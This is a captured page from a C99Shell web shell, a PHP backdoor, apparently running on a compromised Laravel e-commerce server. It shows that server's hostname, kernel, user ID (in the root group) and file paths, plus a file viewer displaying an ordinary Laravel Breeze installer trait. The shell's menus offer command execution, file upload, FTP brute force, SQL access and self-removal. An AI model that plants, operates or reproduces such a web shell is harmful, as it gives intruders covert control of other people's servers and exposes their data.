!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/laravel/breeze/src/Console/   drwxr-xr-x
Free 25.37 GB of 117.98 GB (21.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InstallsBladeStack.php (3.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Breeze\Console;

use 
Illuminate\Filesystem\Filesystem;
use 
Symfony\Component\Finder\Finder;

trait 
InstallsBladeStack
{
    
/**
     * Install the Blade Breeze stack.
     *
     * @return void
     */
    
protected function installBladeStack()
    {
        
// NPM Packages...
        
$this->updateNodePackages(function ($packages) {
            return [
                
'@tailwindcss/forms' => '^0.5.2',
                
'alpinejs' => '^3.4.2',
                
'autoprefixer' => '^10.4.2',
                
'postcss' => '^8.4.6',
                
'tailwindcss' => '^3.1.0',
            ] + 
$packages;
        });

        
// Controllers...
        
(new Filesystem)->ensureDirectoryExists(app_path('Http/Controllers'));
        (new 
Filesystem)->copyDirectory(__DIR__.'/../../stubs/default/app/Http/Controllers'app_path('Http/Controllers'));

        
// Requests...
        
(new Filesystem)->ensureDirectoryExists(app_path('Http/Requests'));
        (new 
Filesystem)->copyDirectory(__DIR__.'/../../stubs/default/app/Http/Requests'app_path('Http/Requests'));

        
// Views...
        
(new Filesystem)->ensureDirectoryExists(resource_path('views'));
        (new 
Filesystem)->copyDirectory(__DIR__.'/../../stubs/default/resources/views'resource_path('views'));

        if (! 
$this->option('dark')) {
            
$this->removeDarkClasses((new Finder)
                ->
in(resource_path('views'))
                ->
name('*.blade.php')
                ->
notName('welcome.blade.php')
            );
        }

        
// Components...
        
(new Filesystem)->ensureDirectoryExists(app_path('View/Components'));
        (new 
Filesystem)->copyDirectory(__DIR__.'/../../stubs/default/app/View/Components'app_path('View/Components'));

        
// Tests...
        
$this->installTests();

        
// Routes...
        
copy(__DIR__.'/../../stubs/default/routes/web.php'base_path('routes/web.php'));
        
copy(__DIR__.'/../../stubs/default/routes/auth.php'base_path('routes/auth.php'));

        
// "Dashboard" Route...
        
$this->replaceInFile('/home''/dashboard'resource_path('views/welcome.blade.php'));
        
$this->replaceInFile('Home''Dashboard'resource_path('views/welcome.blade.php'));
        
$this->replaceInFile('/home''/dashboard'app_path('Providers/RouteServiceProvider.php'));

        
// Tailwind / Vite...
        
copy(__DIR__.'/../../stubs/default/tailwind.config.js'base_path('tailwind.config.js'));
        
copy(__DIR__.'/../../stubs/default/postcss.config.js'base_path('postcss.config.js'));
        
copy(__DIR__.'/../../stubs/default/vite.config.js'base_path('vite.config.js'));
        
copy(__DIR__.'/../../stubs/default/resources/css/app.css'resource_path('css/app.css'));
        
copy(__DIR__.'/../../stubs/default/resources/js/app.js'resource_path('js/app.js'));

        if (
file_exists(base_path('pnpm-lock.yaml'))) {
            
$this->runCommands(['pnpm install''pnpm run build']);
        } elseif (
file_exists(base_path('yarn.lock'))) {
            
$this->runCommands(['yarn install''yarn run build']);
        } else {
            
$this->runCommands(['npm install''npm run build']);
        }

        
$this->line('');
        
$this->components->info('Breeze scaffolding installed successfully.');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--